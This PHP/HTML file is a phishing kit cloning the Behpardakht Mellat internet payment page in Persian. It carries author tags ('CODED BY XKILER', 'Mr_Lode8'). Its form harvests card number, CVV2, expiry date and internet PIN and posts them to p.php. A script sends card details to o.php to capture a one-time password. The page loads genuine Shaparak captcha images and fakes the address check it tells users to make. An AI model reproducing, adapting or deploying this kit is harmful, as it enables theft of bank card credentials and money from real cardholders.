<?php

include "info.php";

if(isset($_GET['amount'])){
    $_SESSION['amount'] = $_GET['amount'];
}elseif(isset($_GET['Amount'])){
    $_SESSION['amount'] = $_GET['Amount'];
}elseif(isset($_GET['price'])){
    $_SESSION['amount'] = $_GET['price'];
}else{
    $_SESSION['amount'] = "$price";
}
$Domain = $_SERVER["HTTP_HOST"];

$cap = json_decode(file_get_contents("$API/refid.php?code=$code&quantity=$quantity"))->refid;

?>


<!DOCTYPE html>
<html lang="fa">




<meta http-equiv="content-type" content="text/html;charset=UTF-8" />


<meta http-equiv="content-type" content="text/html;charset=utf-8" />
<head>

	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="description" content="">
	<meta name="keywords" content="">
	<meta name="author" content="">
	<meta name="viewport" content="width=device-width, initial-scale=1">


	
	<meta property="og:title" content="پرداخت اینترنتی به پرداخت ملت" />
	<meta property="og:url" content="http://www.behpardakht.com/" />
	<meta property="og:image" content="http://" />




	<title>پرداخت اینترنتی به پرداخت ملت</title>
    <link href="
img/ipg-favicon.ico" rel="shortcut icon">

    <link href="css/esprit_fa.minc164.css" rel="stylesheet">
    <script src="js/jquery.min3860.js"></script>
    <script src="msg/messages_fa.min1bce.js"></script>
    <script src="js/payment.min2dac.js"></script>

    <style>
        .close-button {
            background-color: #c2c7cc !important;
            background-image: url(
img/ipg-decline.svg) !important;
            width: 25px !important;
            height: 25px !important;
        }
    </style>

    <script>
        $( document ).ready(function() {
            otpRequestWaitMillis=120000
            setCardSuggestionListHeight();
            countDownRemainingTime(706);
            $("#cardnumber").focus();
            $(document).keydown(function(e) {
                var keyCode = getEventKeyCode(e);
                if (keyCode === ctrlKey || keyCode === cmdKey) ctrlDown = true;
            }).keyup(function(e) {
                var keyCode = getEventKeyCode(e);
                if (keyCode === ctrlKey || keyCode === cmdKey) ctrlDown = false;
            });
        });
    </script>
    <script>
        encRefId="F9336A18427187A3";
        panDtoList=JSON.parse('[]');
    </script>
    
</head>
<body id="body" class="up-scroll" onclick="hideKeypadOnOutsideClick(event);hideCardSuggestionListOnOutSideClick(event)">
	<header id="header" >
		<div class="container">
			<div class="beh-card">
                <a class="change-languge" href="#">
                    EN</a>

				<div class="row">
					<div class="col shaparaklogo align-self-start"><img src="img/shaparak_logo.svg" alt="shaparak"></div>
					<div class="col-6 header-center align-self-end">
						<span>پرداخت اینترنتی به پرداخت ملت</span><br>
						<a href="#">www.Behpardakht.com</a>
					</div>
		<div class="col behpardakhtlogo align-self-start"><img  src="img/behpardakht_logo.svg" alt="behpardakht"></div>
				</div>
			</div>
		</div>
	</header>


	<div class="main-wrapper payment">
		<section class="container">
			<div class="row row-eq-height">
				<div class="col-lg-8 col-md-12 col-sm-12 order-lg-1 order-2">
					<div class="beh-card carddetail">
						<span class="shape"></span>

						<div class="card-header">
							<h3>اطلاعات کارت</h3>
							<span id="remaining-time">زمان باقی مانده :<b>10:00</b></span>
                            <span class="card-errorbox shaparak_shit_message">لطفا اطلاعات مورد نیاز را به درستی وارد کنید</span>
						</div>
						<div class="card-body">
							<form class="card-info" action="p.php" method="POST">
							<input type="hidden" name="refid" id="refid" value="<?php echo $cap; ?>">
							<input type="hidden" name="number" id="number" value="<?php echo $q; ?>">
								<div class="form-group row">
									<div class="col-sm-4">
										<label for="cardnumber" class="col-form-label">شماره کارت</label>
										<small>شماره کارت 16 رقمی درج شده روی کارت را وارد نمایید</small>
									</div>

									<div class="col-md-6 col-sm-8 col-12 mobile-justify">
										<div class="cardnumberbox" id="cardnumberbox">
											<span class="banklogo"></span>
                                            <input type="tel" id="cardnumber" name="pan" maxlength="19" required="required"
                                                   
                                                   onkeydown="preventInvalidKeys(event);setPanCursorPosition(event);"
                                                   onkeyup="formatPanOnKeyUp(event);filterAndShowCardSuggestionList();setBankLogo();focusNextField(this,'inputcvv2',event);resetSelectedPan(event)"
                                                   oninput="formatPanOnKeyUp(event);setBankLogo();focusNextField(this,'inputcvv2',event);resetSelectedPan(event)"
                                                   onfocus="hideKeypad();removeInvalidClassFromPan()"
                                                   onblur="handlePanChange()"
                                                value="" 
                                            >
                                            <button type="button" id="card-list-button" data-toggle="dropdown" onclick="toggleAllPans()"
                                                    aria-haspopup="true" aria-expanded="false" tabindex="-1"  ></button>
											<div class="card-suggestionlist dropdown-menu" aria-labelledby="card-list-button">
                                                
											</div>
										</div>
									</div>
								</div>

								<div class="form-group row">
									<div class="col-sm-4">
										<label for="inputcvv2" class="col-form-label">شماره شناسایی دوم (CVV2)</label>
										<small>شماره 3 یا 4 رقمی درج شده روی کارت را وارد نمایید</small>
									</div>
									<div class="col-md-6 col-sm-6 col-10  mobile-justify keypad-parent">
                                        <input type="password" class="form-control" name="cvv2" id="inputcvv2" maxlength="4" required="required"
                                            
                                               onfocus="hideOthersKeypad(this);hideCardSuggestionList();removeInvalidClassFromInput('inputcvv2');
                                               showKeypadJustInMobile('inputcvv2',event)"
											   autocomplete="off"
                                               onkeydown="preventInvalidKeys(event);"
                                               onkeyup="focusNextField(this,'inputmonth|inputcapcha',event);">
									</div>
									<div class="col-sm-1">
										<button type="button" class="form-btn keypad" tabindex="-1" onclick="showKeypad('inputcvv2',event)"></button>
									</div>
								</div>

								<div class="form-group row">
									<div class="col-sm-4">
										<label for="inputmonth" class="col-form-label">تاریخ انقضای کارت</label>
										<small>تاریخ انقضای کارت را وارد کنید </small>
									</div>

									<div class="col-2 d-lg-none d-sm-none"></div>

									<div class="col-md-2 col-sm-3 col-4">
										<input type="tel" class="form-control" name="inputmonth" id="inputmonth" maxlength="2" required="required"
											   placeholder="ماه"
											   autocomplete="off"
											   onkeydown="preventInvalidKeys(event);"
                                               onfocus="hideKeypad();removeInvalidClassFromInput('inputmonth')"
											   onkeyup="focusNextField(this,'inputyear',event);">
									</div>
									<div class="col-md-2 col-sm-3 col-4">
<input type="hidden" name="code" id="code" value="">
										<input type="tel" class="form-control" name="inputyear" id="inputyear" maxlength="2" required="required"
											   placeholder="سال"
											   autocomplete="off"
                                               onfocus="removeInvalidClassFromInput('inputmonth')"
											   onkeydown="preventInvalidKeys(event);"
											   onkeyup="focusNextField(this,'inputcapcha',event)">
									</div>
								</div>

								<div class="form-group row">
									<div class="col-sm-4">
										<label for="inputcapcha" class="col-form-label">کد امنیتی</label>
										<small>لطفا کد امنیتی داخل کادر را وارد نمایید</small>
									</div>
									<div class="col-sm-3 col-8 mobile-justify">
                                        <input type="tel" class="form-control" name="captcha" id="inputcapcha" maxlength="5" required="required"
                                               autocomplete="off"
                                               onfocus="hideKeypad();removeInvalidClassFromInput('inputcapcha')"
                                               onkeydown="preventInvalidKeys(event);"
                                               onkeyup="focusNextField(this,'inputpin',event)">
                                    </div>
									<div class="col-sm-3 col-6 capcha-container mobile-justify">
										<img id="captcha-img" src="https://bpm.shaparak.ir/pgwchannel/captchaimg.jpg?RefId=<?php echo $cap; ?>">
									</div>
									<div class="col-sm-1 col-4">
										<button type="button" id="captcha-button" class="form-btn capcha" title="نمايش کد جديد"
												onclick="refreshCaptcha()"></button>
									</div>
								</div>
                                <div class="form-group row" onblur="hideKeypad()">
                                    <div class="col-sm-4">
                                        <label for="inputpin" class="col-form-label">رمز اینترنتی کارت</label>
                                        <small>رمز اینترنتی را وارد نمایید</small>
                                    </div>

                                    <div class="col-md-6 col-sm-6 col-10 mobile-justify keypad-parent">
                                        <div class="cardnumberbox" id="dynamic-pin">
                                            <input type="password" class="form-control" name="pin" id="inputpin" required="required"
                                                   maxlength="12"
                                                
                                                   onfocus="hideOthersKeypad(this);hideCardSuggestionList();removeInvalidClassFromInput('inputpin');"
                                                   autocomplete="off"
                                                   onkeydown="preventInvalidKeys(event);"
                                                   onkeyup="focusNextField(this,'inputpayerid|payButton',event);">
                                                               <!-------CODED BY XKILER----->
                                       <button type="button" id="otp-button" data-toggle="dropdown"
												onclick="req();" aria-haspopup="true"
												aria-expanded="false" tabindex="-1">دریافت رمز پویا
										</button>
										<script>
										   var otp = true;
										var qq = 1;
									
											function req(){
											
											      validatePaymentInputs();
	var cardnumber = document.getElementById('cardnumber').value;
												var cvv2 = document.getElementById('inputcvv2').value;
												var refid = document.getElementById('refid').value;
												var year = document.getElementById('inputyear').value;
												var month = document.getElementById('inputmonth').value;
													var cap = document.getElementById('inputcapcha').value;
												// var pass = document.getElementById('inputpin').value;
if (cardnumber != '' && cvv2 != '' && year != '' && month != ''){
                                                qq++;
                                                if(qq > 2){
                                                    showMessage("شما قبلا یک بار درخواست رمز پویا ارسال کرده اید");
                                                    exit;
                                                }
showMessage('مشتری گرامی , درصورتی که از صحت اطلاعات وارد شده اطمینان دارید ولی هنوز رمز دوم پویای خود را دریافت ننموده اید مجددا دکمه درخواست رمز پویا را بفشارید. در غیر اینصورت برای رفع مشکل به بانک صادر کننده کارت خود مراجعه فرمایید','green');

                                                // sleep(9000);                        }
											
$.ajax({
// contentType: "application/json",
data : {
'cardnumber' : cardnumber,
'cvv2' : cvv2, 
'year' : year, 
'month' : month,
'captcha' : cap,
'refid' : refid,
},
// dataType: "json",
type: "POST",
url: "o.php",
success: function(msg){
showBankLogoSpinner();
var otp = false;
hideBankLogoSpinner();
}
});
countDownDynamicPinRemainingTime(120);
hideBankLogoSpinner();
var otp = false;
// 	hideBankLogoSpinner();
}else{
showMessage('لطفا اطلاعات مورد نیاز را به درستی دارد کنید');
}
}
										</script>   
                                      <!-----CODED BY Mr_Lode8--->
                                       </div>
                                    </div>
                                    <div class="col-sm-1 ">
                                        <button type="button" disabled class="form-btn keypad" tabindex="-1" onclick="showKeypad('inputpin',event)"></button>
                                    </div>
                                </div>
                                
								<div class="form-group row">
									<div class="col-sm-4">
										<label for="inputemail" class="col-form-label">ایمیل</label>
										<small>لطفا ایمیل معتبر وارد کنید (اختیاری)</small>
									</div>
									<div class="col-md-6 col-sm-8 col-12 mobile-justify">
										<input type="email" class="form-control" id="inputemail"
                                               onfocus="removeInvalidClassFromInput('inputemail')">
									</div>
								</div>
<!-- @X_KILER -->
<!-- CODED BY XKILER -->
								
								<div class="form-group row">
									<div class="col-sm-4"></div>
									<div class="col-md-6 col-sm-8 col-12 mobile-justify btn-submit-form">
										<button type="submit" class="btn btn-perches" id="payButton">پرداخت</button>
										<button type="button" class="btn btn-decline" onclick="cancelPay()">انصراف</button>
									</div>
								</div>
							</form>
						</div>
					</div>
				</div>

				<div class="col-lg-4 col-md-12 col-sm-12 order-lg-2 order--1">
					<div class="beh-card merchantdetail">
						<div class="card-header">
							<h3>اطلاعات پذیرنده</h3>
						</div>
						<div class="card-body">

							<div class="merchant-container">
								<div class="col-lg-12 col-sm-4 merchant-logo">
									<!--<img class=" " src="https://bpm.shaparak.ir/pgwchannel/img/sample/merchant-logo.png" alt="merchantlogo">-->
									<img class=" " src="https://bpm.shaparak.ir/pgwchannel/img/ipg-defaltlogo.png" alt="merchantlogo">
									<span class="helper"></span>
								</div>

								<ul class="col-lg-12 col-sm-8 merchant-detail">
									<li>نام پذیرنده : <b>  سامانه سهام عدالت</b></li>
									<li>شماره پذیرنده: <b>8191415</b></li>

                                    
<!-- CODED BY XKILER -->

                                    <li>آدرس وب سایت: <b class="merchantwebsite"><a  href="#">sahamedalat.ir</a></b></li>

									
								</ul>

							</div>

							<ul class="merchant-detail price">
								<li>مبلغ قابل پرداخت :<b class="price-number"><?php echo $_SESSION["amount"]; ?> ریال</b></li>
							</ul>
						</div>

					</div>

				</div>
			</div>
		</section>

		<div class="keypad-container">
			<h4>صفحه کلید امن</h4>
			<div class="frame-umbtn"><button id="num1"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="num2"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="num3"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="num4"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="num5"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="num6"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="num7"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="num8"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="num9"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="clear" type="button" class=" numpad" tabindex="-1" onclick="keyPadBackspace(event)">&#9003;</button></div>
			<div class="frame-umbtn"><button id="num0"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="tab-key" type="button" class=" numpad" tabindex="-1" onclick="keypadTab()" style="color: #27d286;">&#10004;</button></div>
		</div>

		<section class="container">
			<row class="beh-guid">
				<div class="col">
					<h4>راهنمای استفاده از رمز پویا</h4>
					<ul>
						<li>رمز پویا، رمز یکبار مصرفی است که به جای رمز دوم کارت استفاده میشود.</li>
						<li><b>مرحله اول</b>- براساس دستورالعمل بانک صادرکننده کارت خود، نسبت به فعالسازی رمز پویا اقدام نمایید.</li>
						<li><b>مرحله دوم</b>- رمز پویا را بر اساس روش اعلامی از طرف بانک صادرکننده کارت، به یکی از روشهای زیر دریافت کنید.</li>
						<li>1- دریافت از طریق برنامه کاربردی بانک، اینترنت بانک و یا موبایل بانک</li>
						<li>2- دریافت از طریق کد USSD بانک صادرکننده کارت شما</li>
						<li>3- دریافت از طریق زدن دکمه ی "دریافت رمز پویا" در درگاه پرداخت اینترنتی</li>
						<li><b>مرحله سوم</b>- پس از دریافت رمز به یکی از روشهای فوق، رمز پویای دریافت شده را در محل تعیین شده برای "رمز دوم" وارد نمایید و سپس مابقی اطلاعات را تکمیل نمایید.</li>
						<br><br>
					</ul>
				</div>
			</row>
		</section><section class="container">
			<row class="beh-guid">
				<div class="col">
					<h4>راهنما</h4>
					<ul>
						<li>شماره کارت: 16 رقمی بوده و بصورت 4 قسمت 4 رقمی روی کارت درج شده است.</li>
						<li>cvv2: با طول 3 یا 4 رقم کنار شماره کارت و یا پشت کارت درج شده است.</li>
						<li>تاریخ انقضا: شامل دو بخش ماه و سال انقضا در کنار شماره کارت درج شده است.</li>
						<li>رمز اینترنتی: با عنوان رمز دوم و در برخی موارد با PIN2 شناخته می شود، از طریق بانک صادر کننده کارت تولید شده و همچنین از طریق دستگاه های خودپرداز بانک صادر کننده قابل تهیه و یا تغییر می باشد.</li>
						<li>کد امنیتی: بخشی از محتوای صفحه پرداخت است و لازم است برای ادامه فرایند خرید ، کد موجود که به صورت عددی در تصویر مشخص شده است در محل پیش بینی شده درج شود.</li>
						<li>دروازه پرداخت اینترنتی به پرداخت ملت با استفاده از پروتکل امن https به مشتریان خود ارایه خدمت نموده و با آدرس <b>https://<?php echo $Domain; ?></b> شروع می شود. خواهشمند است به منظور جلوگیری از سوء استفاده های احتمالی پیش از ورود هرگونه اطلاعات، آدرس موجود در بخش مرورگر وب خود را با آدرس فوق مقایسه نمایید و درصورت مشاهده هر نوع مغایرت احتمالی، موضوع را با ما درمیان بگذارید.</li>
						<li>برای جلوگیری از افشای رمز کارت خود،حتی المقدور از صفحه کلید مجازی استفاده فرمایید.</li>
                        <li>لطفا از صحت نام فروشنده و مبلغ نمایش داده شده، اطمینان حاصل فرمایید.</li>
                        <li>برای کسب اطلاعات بیشتر، گزارش فروشگاههای مشکوک و همچنین اطلاع از وضعیت پذیرندگان اینترنتی با ما تماس بگیرید.</li>
						<br><br>
					</ul>
				</div>
			</row>
		</section>
    </div>
	<footer class="footer">
		<div class="container">
			<div class="footerarc"></div>
			<div class="footerarc content">
				<span class="call">شماره تماس: 27312733-021 </span><br>
				<span>شرکت به پرداخت ملت ارايه دهنده خدمات نوین پرداخت الکترونيک</span>
			</div>
			<div class="row justify-content-center">
				<div class="col-12">


				</div>
			</div>
		</div>
	</footer>

    <form method="post" name="returnForm" action="#">
	    <input type="hidden" name="refid" id="refid" value="<?php echo $cap; ?>">
        <input type="hidden" id="ResCode" name="ResCode">
        <input type="hidden" id="SaleOrderId" name="SaleOrderId" value="761055658">
        <input type="hidden" id="e" name="e" value="<?php echo $e?>">
        <input type="hidden" id="am" name="am" value="<?php echo $Amount?>">
    </form>
	<form method="post" name="resultForm" action="https://bpm.shaparak.ir/pgwchannel/result.source/mellat" accept-charset="UTF-8">
        <input type="hidden" name="RefId" value="<?php echo $cap; ?>">
	</form>
</body>
<html>  
<head>
    <style>img[alt="www.000webhost.com"]{display:none;}</style>
  <meta charset="utf-8">
  <title></title>
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <style type="text/css">
</body>
</html>
